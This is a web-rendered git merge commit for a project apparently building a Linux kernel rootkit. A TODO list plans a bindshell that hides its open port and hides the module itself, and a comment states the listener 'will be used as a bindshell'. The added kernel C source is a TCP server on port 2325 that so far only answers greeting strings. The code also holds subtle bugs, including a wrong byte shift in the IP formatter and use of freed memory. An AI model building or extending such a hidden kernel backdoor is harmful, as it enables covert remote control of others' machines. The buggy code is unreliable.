Merge branch 'master' into 'dev_jkr'
Master See merge request jan-koerner-enterprises/8008135!2merge-requests/3/head^2
Jan Körner
5 years ago
commit
a598ee7319
@ -0,0 +1,10 @@
|
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# Pick One
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## TCP Socket
|
||||
* Add binding to shell:
|
||||
* Incoming commands have to be redir to bash
|
||||
* STDOUT, STDIN, STDERR Handling
|
||||
* Remove chat, debug stuff
|
||||
* Hide open Port
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||||
|
||||
## Module
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* Hide itself
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@ -0,0 +1,544 @@
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/*
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||||
*
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||||
* NOTE:
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||||
* this is basically this guys code:
|
||||
* https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git
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||||
* his last update was 4 years ago, so there might be some changes,
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||||
* there definitely will be some regarding the data received/sent back since
|
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* this is will be used as a bindshell
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* but base is his work.
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||||
*
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||||
*/
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||||
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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||||
* main.c
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* Copyright (C) 2019
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*
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||||
* 8008135 is free software: you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* 8008135 is distributed in the hope that it will be useful, but
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
/**** includes *****************************************************************
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||||
*******************************************************************************/
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||||
#include "50ck3t.h"
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/**** types *******************************************************************
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||||
*******************************************************************************/
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struct tcp_conn_handler_data{
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struct sockaddr_in *FAddress;
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struct socket *FAcceptSocket;
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int FThreadID;
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};
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struct tcp_conn_handler{
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struct tcp_conn_handler_data *data[MAX_CONNS];
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struct task_struct *thread[MAX_CONNS];
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int tcp_conn_handler_stopped[MAX_CONNS];
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};
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||||
|
||||
struct tcp_conn_handler *STCPConnHandler;
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||||
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struct tcp_server_service{
|
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int FRunning;
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struct socket *FListenSocket;
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struct task_struct *FThread;
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||||
struct task_struct *FAccpeptThread;
|
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};
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||||
|
||||
struct tcp_server_service *FTCPServer_Service;
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||||
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||||
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||||
/**** var **********************************************************************
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||||
*******************************************************************************/
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static int STCPListenerStopped = 0;
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static int STCPAcceptorStopped = 0;
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|
||||
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char *inet_ntoa(struct in_addr *AInAddr){
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char *LIPAddr = NULL;
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u_int32_t LIPInt = 0;
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LIPAddr = kmalloc(16 * sizeof(char), GFP_KERNEL);
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if(!LIPAddr)
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return NULL;
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else
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memset(LIPAddr, 0, 16);
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LIPInt = AInAddr->s_addr;
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sprintf(LIPAddr, "%d.%d.%d.%d", (LIPInt) & 0xFF, (LIPInt >> 8) & 0xFF,
|
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(LIPInt >> 16) & 0xFF, (LIPInt >> 16) & 0xFF);
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||||
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||||
return LIPAddr;
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||||
}
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||||
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||||
int tcp_server_send(struct socket *ASocket, int AID, const char *ABuf,\
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const size_t ALength, unsigned long AFlags){
|
||||
struct msghdr LMsgHeader;
|
||||
struct kvec LVec;
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||||
int LLen, LWritten, LLeft;
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mm_segment_t LOldMM;
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LWritten = 0;
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LLeft = ALength;
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||||
LMsgHeader.msg_name = 0;
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||||
LMsgHeader.msg_namelen = 0;
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||||
LMsgHeader.msg_control = NULL;
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LMsgHeader.msg_controllen = 0;
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LMsgHeader.msg_flags = AFlags;
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LMsgHeader.msg_flags = 0;
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LOldMM = get_fs(); set_fs(KERNEL_DS);
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repeat_send:
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LVec.iov_len = LLeft;
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LVec.iov_base = (char *)ABuf + LWritten;
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LLen = kernel_sendmsg(ASocket, &LMsgHeader, &LVec, LLeft, LLeft);
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if((LLen == -ERESTARTSYS) || (!(AFlags & MSG_DONTWAIT) &&\
|
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(LLen == -EAGAIN)))
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goto repeat_send;
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if(LLen > 0){
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LWritten += LLen;
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LLeft -= LLen;
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if(LLeft)
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goto repeat_send;
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}
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set_fs(LOldMM);
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return LWritten?LWritten:LLen;
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}
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||||
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int tcp_server_receive(struct socket *ASock, int AID,struct sockaddr_in *AAddress,\
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unsigned char *ABuf,int ASize, unsigned long AFlags){
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||||
struct msghdr LMsgHeader;
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struct kvec LVec;
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||||
int LLen;
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||||
char *LTmp = NULL;
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if(ASock==NULL){
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pr_info(" *** mtp | tcp server receive socket is NULL| "
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" tcp_server_receive *** \n");
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return -1;
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}
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LMsgHeader.msg_name = 0;
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LMsgHeader.msg_namelen = 0;
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LMsgHeader.msg_control = NULL;
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LMsgHeader.msg_controllen = 0;
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LMsgHeader.msg_flags = AFlags;
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LVec.iov_len = ASize;
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LVec.iov_base = ABuf;
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||||
read_again:
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if(!skb_queue_empty(&ASock->sk->sk_receive_queue))
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pr_info("recv queue empty ? %s \n",
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skb_queue_empty(&ASock->sk->sk_receive_queue)?"yes":"no");
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||||
LLen = kernel_recvmsg(ASock, &LMsgHeader, &LVec, ASize, ASize, AFlags);
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if(LLen == -EAGAIN || LLen == -ERESTARTSYS)
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goto read_again;
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LTmp = inet_ntoa(&(AAddress->sin_addr));
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pr_info("client-> %s:%d, says: %s\n", LTmp, ntohs(AAddress->sin_port), ABuf);
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kfree(LTmp);
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||||
return LLen;
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}
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||||
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||||
int connection_handler(void *AData){
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||||
struct tcp_conn_handler_data *LConnData =
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(struct tcp_conn_handler_data *)AData;
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||||
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||||
struct sockaddr_in *LAddress = LConnData->FAddress;
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||||
struct socket *LAcceptSocket = LConnData->FAcceptSocket;
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||||
int LID = LConnData->FThreadID;
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||||
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||||
int LRet;
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int LLen = 49;
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||||
unsigned char LInBuf[LLen+1];
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||||
unsigned char LOutBuf[LLen+1];
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||||
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||||
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||||
DECLARE_WAITQUEUE(recv_wait, current);
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||||
allow_signal(SIGKILL|SIGSTOP);
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||||
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||||
while(1){
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add_wait_queue(&LAcceptSocket->sk->sk_wq->wait, &recv_wait);
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||||
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||||
while(skb_queue_empty(&LAcceptSocket->sk->sk_receive_queue)){
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||||
__set_current_state(TASK_INTERRUPTIBLE);
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schedule_timeout(HZ);
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||||
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||||
if(kthread_should_stop()){
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||||
pr_info(" *** mtp | tcp server handle connection "
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||||
"thread stopped | connection_handler *** \n");
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||||
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||||
//tcp_conn_handler->thread[id] = NULL;
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||||
STCPConnHandler->tcp_conn_handler_stopped[LID]= 1;
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||||
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||||
__set_current_state(TASK_RUNNING);
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||||
remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait,\
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||||
&recv_wait);
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kfree(STCPConnHandler->data[LID]->FAddress);
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kfree(STCPConnHandler->data[LID]);
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sock_release(STCPConnHandler->data[LID]->FAcceptSocket);
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return 0;
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}
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if(signal_pending(current)){
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__set_current_state(TASK_RUNNING);
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remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait,\
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&recv_wait);
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goto out;
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}
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}
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__set_current_state(TASK_RUNNING);
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remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait, &recv_wait);
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pr_info("receiving message\n");
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memset(LInBuf, 0, LLen+1);
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LRet = tcp_server_receive(LAcceptSocket, LID, LAddress, LInBuf, LLen,\
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MSG_DONTWAIT);
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if(LRet > 0){
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if(memcmp(LInBuf, "HOLA", 4) == 0){
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memset(LOutBuf, 0, LLen+1);
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strcat(LOutBuf, "HOLASI");
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pr_info("sending response: %s\n", LOutBuf);
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tcp_server_send(LAcceptSocket, LID, LOutBuf,\
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strlen(LOutBuf), MSG_DONTWAIT);
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}
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if(memcmp(LInBuf, "ADIOS", 5) == 0){
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memset(LOutBuf, 0, LLen+1);
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strcat(LOutBuf, "ADIOSAMIGO");
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pr_info("sending response: %s\n", LOutBuf);
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tcp_server_send(LAcceptSocket, LID, LOutBuf,\
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strlen(LOutBuf), MSG_DONTWAIT);
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break;
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}
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}
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}
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out:
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STCPConnHandler->tcp_conn_handler_stopped[LID]= 1;
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kfree(STCPConnHandler->data[LID]->FAddress);
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kfree(STCPConnHandler->data[LID]);
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sock_release(STCPConnHandler->data[LID]->FAcceptSocket);
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STCPConnHandler->thread[LID] = NULL;
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do_exit(0);
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}
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int tcp_server_accept(void){
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int LAcceptErr = 0;
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||||
struct socket *LSocket;
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||||
struct socket *LAcceptSocket = NULL;
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||||
struct inet_connection_sock *LISock;
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||||
int LID = 0;
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||||
DECLARE_WAITQUEUE(accept_wait, current);
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||||
allow_signal(SIGKILL|SIGSTOP);
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||||
LSocket = FTCPServer_Service->FListenSocket;
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||||
pr_info(" *** mtp | creating the accept socket | tcp_server_accept "
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||||
"*** \n");
|
||||
|
||||
while(1){
|
||||
struct tcp_conn_handler_data *LTCPConnHData = NULL;
|
||||
struct sockaddr_in *LClient = NULL;
|
||||
char *LTmp;
|
||||
int addr_len;
|
||||
|
||||
LAcceptErr =
|
||||
sock_create(LSocket->sk->sk_family, LSocket->type,\
|
||||
LSocket->sk->sk_protocol, &LAcceptSocket);
|
||||
|
||||
if(LAcceptErr < 0 || !LAcceptSocket){
|
||||
pr_info(" *** mtp | accept_error: %d while creating "
|
||||
"tcp server accept socket | "
|
||||
"tcp_server_accept *** \n", LAcceptErr);
|
||||
goto err;
|
||||
}
|
||||
|
||||
LAcceptSocket->type = LSocket->type;
|
||||
LAcceptSocket->ops = LSocket->ops;
|
||||
|
||||
LISock = inet_csk(LSocket->sk);
|
||||
|
||||
|
||||
add_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
|
||||
while(reqsk_queue_empty(&LISock->icsk_accept_queue)){
|
||||
__set_current_state(TASK_INTERRUPTIBLE);
|
||||
schedule_timeout(HZ);
|
||||
if(kthread_should_stop()){
|
||||
pr_info(" *** mtp | tcp server acceptor thread "
|
||||
"stopped | tcp_server_accept *** \n");
|
||||
STCPAcceptorStopped = 1;
|
||||
__set_current_state(TASK_RUNNING);
|
||||
remove_wait_queue(&LSocket->sk->sk_wq->wait,\
|
||||
&accept_wait);
|
||||
sock_release(LAcceptSocket);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(signal_pending(current)){
|
||||
__set_current_state(TASK_RUNNING);
|
||||
remove_wait_queue(&LSocket->sk->sk_wq->wait,\
|
||||
&accept_wait);
|
||||
goto release;
|
||||
}
|
||||
|
||||
}
|
||||
__set_current_state(TASK_RUNNING);
|
||||
remove_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
|
||||
|
||||
pr_info("accept connection\n");
|
||||
|
||||
LAcceptErr =
|
||||
LSocket->ops->accept(LSocket, LAcceptSocket, O_NONBLOCK);
|
||||
|
||||
if(LAcceptErr < 0){
|
||||
pr_info(" *** mtp | accept_error: %d while accepting "
|
||||
"tcp server | tcp_server_accept *** \n",
|
||||
LAcceptErr);
|
||||
goto release;
|
||||
}
|
||||
|
||||
LClient = kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
|
||||
memset(LClient, 0, sizeof(struct sockaddr_in));
|
||||
|
||||
addr_len = sizeof(struct sockaddr_in);
|
||||
|
||||
LAcceptErr =
|
||||
LAcceptSocket->ops->getname(LAcceptSocket,\
|
||||
(struct sockaddr *)LClient,\
|
||||
&addr_len, 2);
|
||||
|
||||
if(LAcceptErr < 0){
|
||||
pr_info(" *** mtp | accept_error: %d in getname "
|
||||
"tcp server | tcp_server_accept *** \n",
|
||||
LAcceptErr);
|
||||
goto release;
|
||||
}
|
||||
|
||||
|
||||
LTmp = inet_ntoa(&(LClient->sin_addr));
|
||||
|
||||
pr_info("connection from: %s %d \n",
|
||||
LTmp, ntohs(LClient->sin_port));
|
||||
|
||||
kfree(LTmp);
|
||||
|
||||
pr_info("handle connection\n");
|
||||
|
||||
|
||||
for(LID = 0; LID < MAX_CONNS; LID++){
|
||||
if(STCPConnHandler->thread[LID] == NULL)
|
||||
break;
|
||||
}
|
||||
|
||||
pr_info("gave free id: %d\n", LID);
|
||||
|
||||
if(LID == MAX_CONNS)
|
||||
goto release;
|
||||
|
||||
LTCPConnHData = kmalloc(sizeof(struct tcp_conn_handler_data), GFP_KERNEL);
|
||||
memset(LTCPConnHData, 0, sizeof(struct tcp_conn_handler_data));
|
||||
|
||||
LTCPConnHData->FAddress = LClient;
|
||||
LTCPConnHData->FAcceptSocket = LAcceptSocket;
|
||||
LTCPConnHData->FThreadID = LID;
|
||||
|
||||
STCPConnHandler->tcp_conn_handler_stopped[LID] = 0;
|
||||
STCPConnHandler->data[LID] = LTCPConnHData;
|
||||
STCPConnHandler->thread[LID] =
|
||||
kthread_run((void *)connection_handler, (void *)LTCPConnHData, MODULE_NAME);
|
||||
|
||||
if(kthread_should_stop()){
|
||||
pr_info(" *** mtp | tcp server acceptor thread stopped"
|
||||
" | tcp_server_accept *** \n");
|
||||
STCPAcceptorStopped = 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(signal_pending(current)){
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
STCPAcceptorStopped = 1;
|
||||
do_exit(0);
|
||||
release:
|
||||
sock_release(LAcceptSocket);
|
||||
err:
|
||||
STCPAcceptorStopped = 1;
|
||||
do_exit(0);
|
||||
}
|
||||
|
||||
int tcp_server_listen(void)
|
||||
{
|
||||
int LServerErr;
|
||||
struct socket *LConnSocket;
|
||||
struct sockaddr_in LServer;
|
||||
|
||||
DECLARE_WAIT_QUEUE_HEAD(wq);
|
||||
|
||||
allow_signal(SIGKILL|SIGTERM);
|
||||
|
||||
LServerErr = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP,\
|
||||
&FTCPServer_Service->FListenSocket);
|
||||
if(LServerErr < 0){
|
||||
pr_info(" *** mtp | Error: %d while creating tcp server "
|
||||
"listen socket | tcp_server_listen *** \n", LServerErr);
|
||||
goto err;
|
||||
}
|
||||
|
||||
LConnSocket = FTCPServer_Service->FListenSocket;
|
||||
FTCPServer_Service->FListenSocket->sk->sk_reuse = 1;
|
||||
|
||||
LServer.sin_addr.s_addr = INADDR_ANY;
|
||||
LServer.sin_family = AF_INET;
|
||||
LServer.sin_port = htons(DEFAULT_PORT);
|
||||
|
||||
LServerErr =
|
||||
LConnSocket->ops->bind(LConnSocket, (struct sockaddr*)&LServer,\
|
||||
sizeof(LServer));
|
||||
|
||||
if(LServerErr < 0){
|
||||
pr_info(" *** mtp | Error: %d while binding tcp server "
|
||||
"listen socket | tcp_server_listen *** \n", LServerErr);
|
||||
goto release;
|
||||
}
|
||||
|
||||
LServerErr = LConnSocket->ops->listen(LConnSocket, 16);
|
||||
|
||||
if(LServerErr < 0){
|
||||
pr_info(" *** mtp | Error: %d while listening in tcp "
|
||||
"server listen socket | tcp_server_listen "
|
||||
"*** \n", LServerErr);
|
||||
goto release;
|
||||
}
|
||||
|
||||
FTCPServer_Service->FAccpeptThread =
|
||||
kthread_run((void*)tcp_server_accept, NULL, MODULE_NAME);
|
||||
|
||||
while(1){
|
||||
wait_event_timeout(wq, 0, 3*HZ);
|
||||
|
||||
if(kthread_should_stop()){
|
||||
pr_info(" *** mtp | tcp server listening thread"
|
||||
" stopped | tcp_server_listen *** \n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(signal_pending(current))
|
||||
goto release;
|
||||
}
|
||||
|
||||
|
||||
sock_release(LConnSocket);
|
||||
STCPListenerStopped = 1;
|
||||
do_exit(0);
|
||||
release:
|
||||
sock_release(LConnSocket);
|
||||
err:
|
||||
STCPListenerStopped = 1;
|
||||
do_exit(0);
|
||||
}
|
||||
|
||||
int tcp_server_start(void){
|
||||
FTCPServer_Service->FRunning = 1;
|
||||
FTCPServer_Service->FThread = kthread_run((void *)tcp_server_listen, NULL,\
|
||||
MODULE_NAME);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int network_server_init(void){
|
||||
pr_info(" *** mtp | network_server initiated | "
|
||||
"network_server_init ***\n");
|
||||
FTCPServer_Service = kmalloc(sizeof(struct tcp_server_service), GFP_KERNEL);
|
||||
memset(FTCPServer_Service, 0, sizeof(struct tcp_server_service));
|
||||
|
||||
STCPConnHandler = kmalloc(sizeof(struct tcp_conn_handler), GFP_KERNEL);
|
||||
memset(STCPConnHandler, 0, sizeof(struct tcp_conn_handler));
|
||||
|
||||
tcp_server_start();
|
||||
return 0;
|
||||
}
|
||||
|
||||
void network_server_exit(void){
|
||||
int ret;
|
||||
int id;
|
||||
|
||||
if(FTCPServer_Service->FThread == NULL)
|
||||
pr_info(" *** mtp | No kernel thread to kill | "
|
||||
"network_server_exit *** \n");
|
||||
else
|
||||
{
|
||||
for(id = 0; id < MAX_CONNS; id++)
|
||||
{
|
||||
if(STCPConnHandler->thread[id] != NULL)
|
||||
{
|
||||
|
||||
if(!STCPConnHandler->tcp_conn_handler_stopped[id])
|
||||
{
|
||||
ret =
|
||||
kthread_stop(STCPConnHandler->thread[id]);
|
||||
|
||||
if(!ret)
|
||||
pr_info(" *** mtp | tcp server "
|
||||
"connection handler thread: %d "
|
||||
"stopped | network_server_exit "
|
||||
"*** \n", id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(!STCPAcceptorStopped)
|
||||
{
|
||||
ret = kthread_stop(FTCPServer_Service->FAccpeptThread);
|
||||
if(!ret)
|
||||
pr_info(" *** mtp | tcp server acceptor thread"
|
||||
" stopped | network_server_exit *** \n");
|
||||
}
|
||||
|
||||
if(!STCPListenerStopped)
|
||||
{
|
||||
ret = kthread_stop(FTCPServer_Service->FThread);
|
||||
if(!ret)
|
||||
pr_info(" *** mtp | tcp server listening thread"
|
||||
" stopped | network_server_exit *** \n");
|
||||
}
|
||||
|
||||
|
||||
if(FTCPServer_Service->FListenSocket != NULL && !STCPListenerStopped)
|
||||
{
|
||||
sock_release(FTCPServer_Service->FListenSocket);
|
||||
FTCPServer_Service->FListenSocket = NULL;
|
||||
}
|
||||
|
||||
kfree(STCPConnHandler);
|
||||
kfree(FTCPServer_Service);
|
||||
FTCPServer_Service = NULL;
|
||||
}
|
||||
|
||||
}
|
||||
@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env bash
|
||||
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
|
||||
SRCS_H="$SCRIPTPATH""/headers"
|
||||
SGENH="$SRCS_H""/sysgen.h"
|
||||
SGENH="$SRCS_H""/5y563n.h"
|
||||
|
||||
smap="/boot/System.map-$(uname -r)"
|
||||
|
||||
@ -0,0 +1,50 @@
|
||||
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||
/*
|
||||
* main.c
|
||||
* Copyright (C) 2019
|
||||
*
|
||||
* 8008135 is free software: you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* 8008135 is distributed in the hope that it will be useful, but
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#ifndef SRC_HEADERS_50CK3T_H_
|
||||
#define SRC_HEADERS_50CK3T_H_
|
||||
|
||||
/**** includes *****************************************************************
|
||||
*******************************************************************************/
|
||||
#include <linux/init.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/kthread.h>
|
||||
|
||||
#include <linux/errno.h>
|
||||
#include <linux/types.h>
|
||||
|
||||
#include <linux/netdevice.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/in.h>
|
||||
|
||||
#include <linux/unistd.h>
|
||||
#include <linux/wait.h>
|
||||
|
||||
#include <net/sock.h>
|
||||
#include <net/tcp.h>
|
||||
#include <net/inet_connection_sock.h>
|
||||
#include <net/request_sock.h>
|
||||
|
||||
#define DEFAULT_PORT 2325
|
||||
#define MAX_CONNS 16
|
||||
#define MODULE_NAME "8008135"
|
||||
|
||||
int network_server_init(void);
|
||||
void network_server_exit(void);
|
||||
|
||||
#endif /* SRC_HEADERS_50CK3T_H_ */
|
||||
Loading…
Reference in New Issue